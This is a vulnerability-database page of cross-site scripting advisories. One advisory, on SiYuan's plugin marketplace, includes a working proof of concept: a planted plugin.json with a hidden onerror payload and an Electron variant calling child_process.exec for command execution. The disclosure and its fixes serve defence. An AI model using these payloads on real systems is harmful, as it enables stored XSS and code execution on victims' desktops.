CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66747 vulnerabilities reference this CWE, most recent first.
GHSA-27PQ-P52W-4H65
Vulnerability from github – Published: 2022-09-17 00:00 – Updated: 2022-09-21 00:00Genesys PureConnect Interaction Web Tools Chat Service (up to at least 26- September- 2019) allows XSS within the Printable Chat History via the participant -> name JSON POST parameter.
{
"affected": [],
"aliases": [
"CVE-2022-37775"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-16T17:15:00Z",
"severity": "MODERATE"
},
"details": "Genesys PureConnect Interaction Web Tools Chat Service (up to at least 26- September- 2019) allows XSS within the Printable Chat History via the participant -\u003e name JSON POST parameter.",
"id": "GHSA-27pq-p52w-4h65",
"modified": "2022-09-21T00:00:38Z",
"published": "2022-09-17T00:00:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37775"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2022090038"
},
{
"type": "WEB",
"url": "https://help.genesys.com/pureconnect/mergedprojects/wh_tr/desktop/pdfs/web_tools_dg.pdf"
},
{
"type": "WEB",
"url": "http://genesys.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/168410/Genesys-PureConnect-Cross-Site-Scripting.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27Q6-C3VC-27Q9
Vulnerability from github – Published: 2025-07-18 21:30 – Updated: 2025-07-21 21:31StudentManage v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Add A New Student module.
{
"affected": [],
"aliases": [
"CVE-2025-50583"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-18T21:15:25Z",
"severity": "MODERATE"
},
"details": "StudentManage v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Add A New Student module.",
"id": "GHSA-27q6-c3vc-27q9",
"modified": "2025-07-21T21:31:34Z",
"published": "2025-07-18T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50583"
},
{
"type": "WEB",
"url": "https://github.com/SimonKang949/Vulnerabilities/issues/4"
},
{
"type": "WEB",
"url": "https://gitee.com/DayCloud/student-manage"
},
{
"type": "WEB",
"url": "http://studentmanage.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27Q6-JP9H-QGC8
Vulnerability from github – Published: 2023-01-01 18:30 – Updated: 2023-01-09 18:30A vulnerability, which was classified as problematic, has been found in admont28 Ingnovarq. Affected by this issue is some unknown functionality of the file app/controller/insertarSliderAjax.php. The manipulation of the argument imagetitle leads to cross site scripting. The attack may be launched remotely. The name of the patch is 9d18a39944d79dfedacd754a742df38f99d3c0e2. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217172.
{
"affected": [],
"aliases": [
"CVE-2015-10006"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-01T17:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in admont28 Ingnovarq. Affected by this issue is some unknown functionality of the file app/controller/insertarSliderAjax.php. The manipulation of the argument imagetitle leads to cross site scripting. The attack may be launched remotely. The name of the patch is 9d18a39944d79dfedacd754a742df38f99d3c0e2. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217172.",
"id": "GHSA-27q6-jp9h-qgc8",
"modified": "2023-01-09T18:30:18Z",
"published": "2023-01-01T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10006"
},
{
"type": "WEB",
"url": "https://github.com/admont28/ingnovarq/commit/9d18a39944d79dfedacd754a742df38f99d3c0e2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.217172"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.217172"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27QC-3H99-8RCJ
Vulnerability from github – Published: 2022-05-17 00:01 – Updated: 2022-05-26 00:01Parallels H-Sphere 3.6.2 allows XSS via the index_en.php from parameter.
{
"affected": [],
"aliases": [
"CVE-2022-30777"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-16T14:15:00Z",
"severity": "MODERATE"
},
"details": "Parallels H-Sphere 3.6.2 allows XSS via the index_en.php from parameter.",
"id": "GHSA-27qc-3h99-8rcj",
"modified": "2022-05-26T00:01:27Z",
"published": "2022-05-17T00:01:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30777"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/H-Sphere"
},
{
"type": "WEB",
"url": "https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27QC-M5GF-JV5R
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-06-08 20:13Summary
SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.
Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.
A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.
Details
Server-side allowlist — kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
// pkg.Name and pkg.Version are NOT escaped
}
PreferredName fallback — kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162:
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)
// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer
if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
if v := strings.TrimSpace(m["default"]); v != "" { return v }
if v := strings.TrimSpace(m["en_US"]); v != "" { return v }
return fallback
}
Online marketplace path skips the kernel sanitizer — kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48:
// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)
buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.
The upstream workflow has the same gap — siyuan-note/bazaar/actions/stage/main.go:897-909:
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义，避免 XSS。
// （跟思源内核 kernel/bazaar/package.go 保持一致）
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}
The function is byte-identical to the kernel helper — the Chinese comment translates to "(kept in sync with the SiYuan kernel kernel/bazaar/package.go)". It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.
Frontend sinks — app/src/config/bazaar.ts:
// :430 — installed-plugin card list (zero-click)
${item.preferredName}
// :526 — package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>
// :540 — package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>
The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).
Renderer privilege boundary — app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.
PoC
End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.
1. Run a stock SiYuan v3.6.5 kernel:
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
-v /tmp/siyuan-poc-ws:/siyuan/workspace \
-e SIYUAN_ACCESS_AUTH_CODE=test123 \
b3log/siyuan:v3.6.5 \
--workspace=/siyuan/workspace --accessAuthCode=test123
2. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json:
{
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"displayName": {},
"description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
"author": "markdown-utils",
"version": "1.4.2",
"url": "https://github.com/markdown-utils/markdown-utilities",
"backends": ["all"],
"frontends": ["all"]
}
The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.
3. Verify the kernel returns the unescaped payload:
Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:
curl -s -b 'siyuan=<session-cookie>' \
-X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
-H 'Content-Type: application/json' \
-d '{"frontend":"desktop","keyword":""}'
Observed (verbatim):
{
"preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"version": "1.4.2"
}
The HTML payload arrives at the client unmodified.
4. Trigger via the UI:
In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.
5. Electron RCE substitution:
The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"
On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.
Impact
- Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.
- Triggers on view, not on install. Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked.
- Visually undetectable. The
display:nonestyle hides the malicious markup, so the marketplace card appears entirely legitimate. - Survives transport. The payload is a plain JSON string; it round-trips through tarball packaging, sync replication,
.sy.zipexport/import, and any other workspace-content transport without modification. - Low attacker prerequisites. Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel.
Suggested fix
Primary: extend the kernel allowlist in kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
+ pkg.Name = html.EscapeString(pkg.Name)
+ pkg.Version = html.EscapeString(pkg.Version)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
+ for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) }
}
Secondary: also call sanitizePackageDisplayStrings from kernel/bazaar/bazaar.go:48 (buildBazaarPackageWithMetadata) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at siyuan-note/bazaar/actions/stage/main.go:897-909 (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go").
Tertiary (defense in depth): wrap the frontend sinks in app/src/config/bazaar.ts (${item.preferredName}, ${data.name}, ${data.version}) with the existing escapeHtml(...) helper.
Renderer hardening: switching the main BrowserWindow at app/electron/main.js:407-411 to contextIsolation: true with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260421031503-96dfe0bea474"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45375"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:57Z",
"nvd_published_at": "2026-05-14T19:16:39Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders the `name` and `version` fields of a package\u0027s `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings \u2192 Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` \u2014 `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.\n\nBecause the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim\u0027s account. The trigger is **zero-click on the list view** \u2014 opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; no Install/Update click is required.\n\nA second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink.\n\n### Details\n\n**Server-side allowlist \u2014 `kernel/bazaar/package.go:134-145`:**\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n // pkg.Name and pkg.Version are NOT escaped\n}\n```\n\n**`PreferredName` fallback \u2014 `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:**\n```go\n// installed.go:59\npkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)\n\n// package.go:148-162\nfunc GetPreferredLocaleString(m LocaleStrings, fallback string) string {\n if len(m) == 0 { return fallback } // \u2190 unescaped pkg.Name reaches the renderer\n if v := strings.TrimSpace(m[util.Lang]); v != \"\" { return v }\n if v := strings.TrimSpace(m[\"default\"]); v != \"\" { return v }\n if v := strings.TrimSpace(m[\"en_US\"]); v != \"\" { return v }\n return fallback\n}\n```\n\n**Online marketplace path skips the kernel sanitizer \u2014 `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:**\n```go\n// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)\nsanitizePackageDisplayStrings(ret)\n```\n`buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel\u0027s `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow.\n\n**The upstream workflow has the same gap \u2014 `siyuan-note/bazaar/actions/stage/main.go:897-909`:**\n```go\n// sanitizePackageDisplayStrings \u5bf9\u96c6\u5e02\u5305\u76f4\u63a5\u663e\u793a\u7684\u4fe1\u606f\u505a HTML \u8f6c\u4e49\uff0c\u907f\u514d XSS\u3002\n// \uff08\u8ddf\u601d\u6e90\u5185\u6838 kernel/bazaar/package.go \u4fdd\u6301\u4e00\u81f4\uff09\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n}\n```\nThe function is byte-identical to the kernel helper \u2014 the Chinese comment translates to *\"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)\"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.\n\n**Frontend sinks \u2014 `app/src/config/bazaar.ts`:**\n```ts\n// :430 \u2014 installed-plugin card list (zero-click)\n${item.preferredName}\n\n// :526 \u2014 package detail view\n\u003ca href=\"${data.repoURL}\" ... title=\"GitHub Repo\"\u003e${data.name}\u003c/a\u003e\n\n// :540 \u2014 package detail view, version stripe\n\u003cdiv ... style=\"line-height: 20px;\"\u003e${window.siyuan.languages.currentVer}\u003cbr\u003ev${data.version}\u003c/div\u003e\n```\nThe constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600).\n\n**Renderer privilege boundary \u2014 `app/electron/main.js:407-411`:**\n```js\nwebPreferences: {\n nodeIntegration: true,\n webviewTag: true,\n webSecurity: false,\n contextIsolation: false,\n}\n```\nJavaScript executing in the marketplace tab can call `require(\u0027child_process\u0027).exec(...)` directly, escalating DOM XSS to OS command execution.\n\n### PoC\n\nEnd-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload.\n\n**1. Run a stock SiYuan v3.6.5 kernel:**\n```sh\nmkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin\ndocker run -d --name siyuan-poc -p 16806:6806 \\\n -v /tmp/siyuan-poc-ws:/siyuan/workspace \\\n -e SIYUAN_ACCESS_AUTH_CODE=test123 \\\n b3log/siyuan:v3.6.5 \\\n --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:**\n```json\n{\n \"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"displayName\": {},\n \"description\": {\"default\": \"A small toolkit of markdown helpers - table sort, link checker, wordcount, etc.\"},\n \"author\": \"markdown-utils\",\n \"version\": \"1.4.2\",\n \"url\": \"https://github.com/markdown-utils/markdown-utilities\",\n \"backends\": [\"all\"],\n \"frontends\": [\"all\"]\n}\n```\nThe visible portion of the `name` field is the literal string `Markdown Utilities`. The `\u003cimg\u003e` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry \u2014 no broken-image icon, no suspicious text.\n\n**3. Verify the kernel returns the unescaped payload:**\n\nAuthenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user:\n```sh\ncurl -s -b \u0027siyuan=\u003csession-cookie\u003e\u0027 \\\n -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"frontend\":\"desktop\",\"keyword\":\"\"}\u0027\n```\nObserved (verbatim):\n```json\n{\n \"preferredName\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"version\": \"1.4.2\"\n}\n```\nThe HTML payload arrives at the client unmodified.\n\n**4. Trigger via the UI:**\n\nIn a browser logged into the running SiYuan instance, open Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `\u003cimg\u003e` element, fails to load `src=x`, fires `onerror`, and **`alert(\"SiYuan Bazaar XSS\")` pops**. The card itself displays as a normal-looking \"Markdown Utilities\" entry; the malicious markup is invisible.\n\n**5. Electron RCE substitution:**\n\nThe same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:\n```json\n\"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"require(`child_process`).exec(`open -a Calculator`)\\\" style=\\\"display:none\\\"\u003e\"\n```\nOn any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.\n\n### Impact\n\n- **Stored XSS \u2192 arbitrary OS command execution** in the desktop Electron client under the victim\u0027s user account, with full filesystem and network access via Node.js APIs.\n- **Triggers on view, not on install.** Opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; the payload runs before any \"Install\" or \"Update\" button is clicked.\n- **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate.\n- **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification.\n- **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself \u2014 both the install flow and the post-listing release-then-poison flow \u2014 is the canonical low-friction delivery channel.\n\n### Suggested fix\n\nPrimary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`:\n```diff\n func sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n+ pkg.Name = html.EscapeString(pkg.Name)\n+ pkg.Version = html.EscapeString(pkg.Version)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n+ for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) }\n }\n```\n\nSecondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to \"kept in sync with the SiYuan kernel kernel/bazaar/package.go\").\n\nTertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper.\n\nRenderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.",
"id": "GHSA-27qc-m5gf-jv5r",
"modified": "2026-06-08T20:13:24Z",
"published": "2026-05-13T15:33:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45375"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution"
}
GHSA-27QM-RH9R-32FX
Vulnerability from github – Published: 2023-11-10 09:30 – Updated: 2023-11-16 18:30Cross-site scripting vulnerability in HOTELDRUID 3.0.5 and earlier allows a remote unauthenticated attacker to execute an arbitrary script on the web browser of the user who is logging in to the product.
{
"affected": [],
"aliases": [
"CVE-2023-47164"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-10T09:15:07Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting vulnerability in HOTELDRUID 3.0.5 and earlier allows a remote unauthenticated attacker to execute an arbitrary script on the web browser of the user who is logging in to the product.",
"id": "GHSA-27qm-rh9r-32fx",
"modified": "2023-11-16T18:30:29Z",
"published": "2023-11-10T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47164"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN99177549"
},
{
"type": "WEB",
"url": "https://www.hoteldruid.com"
},
{
"type": "WEB",
"url": "https://www.hoteldruid.com/en/download.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27QX-PWHC-4J5G
Vulnerability from github – Published: 2024-05-20 15:31 – Updated: 2024-05-20 15:31A Stored Cross-Site Scripting (XSS) vulnerability has been identified in OpenText ArcSight Enterprise Security Manager and ArcSight Platform. The vulnerability could be remotely exploited.
{
"affected": [],
"aliases": [
"CVE-2024-2835"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-20T14:15:09Z",
"severity": "HIGH"
},
"details": "A Stored Cross-Site Scripting (XSS) vulnerability has been identified in OpenText ArcSight Enterprise Security Manager and ArcSight Platform. The vulnerability could be remotely exploited.",
"id": "GHSA-27qx-pwhc-4j5g",
"modified": "2024-05-20T15:31:45Z",
"published": "2024-05-20T15:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2835"
},
{
"type": "WEB",
"url": "https://portal.microfocus.com/s/article/KM000029773"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27R3-F3MG-FXP8
Vulnerability from github – Published: 2022-05-17 04:11 – Updated: 2022-05-17 04:11Cross-site scripting (XSS) vulnerability in Properties.do in ZOHO ManageEngine OpStor before build 8500 allows remote authenticated users to inject arbitrary web script or HTML via the name parameter, a different vulnerability than CVE-2014-0344.
{
"affected": [],
"aliases": [
"CVE-2014-2670"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-29T20:55:00Z",
"severity": "LOW"
},
"details": "Cross-site scripting (XSS) vulnerability in Properties.do in ZOHO ManageEngine OpStor before build 8500 allows remote authenticated users to inject arbitrary web script or HTML via the name parameter, a different vulnerability than CVE-2014-0344.",
"id": "GHSA-27r3-f3mg-fxp8",
"modified": "2022-05-17T04:11:06Z",
"published": "2022-05-17T04:11:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2670"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/140886"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/66499"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-27R4-RP49-685C
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05The Autoptimize WordPress plugin before 2.7.8 does not check for malicious files such as .html in the archive uploaded via the 'Import Settings' feature. As a result, it is possible for a high privilege user to upload a malicious file containing JavaScript code inside an archive which will execute when a victim visits index.html inside the plugin directory.
{
"affected": [],
"aliases": [
"CVE-2021-24378"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-21T20:15:00Z",
"severity": "MODERATE"
},
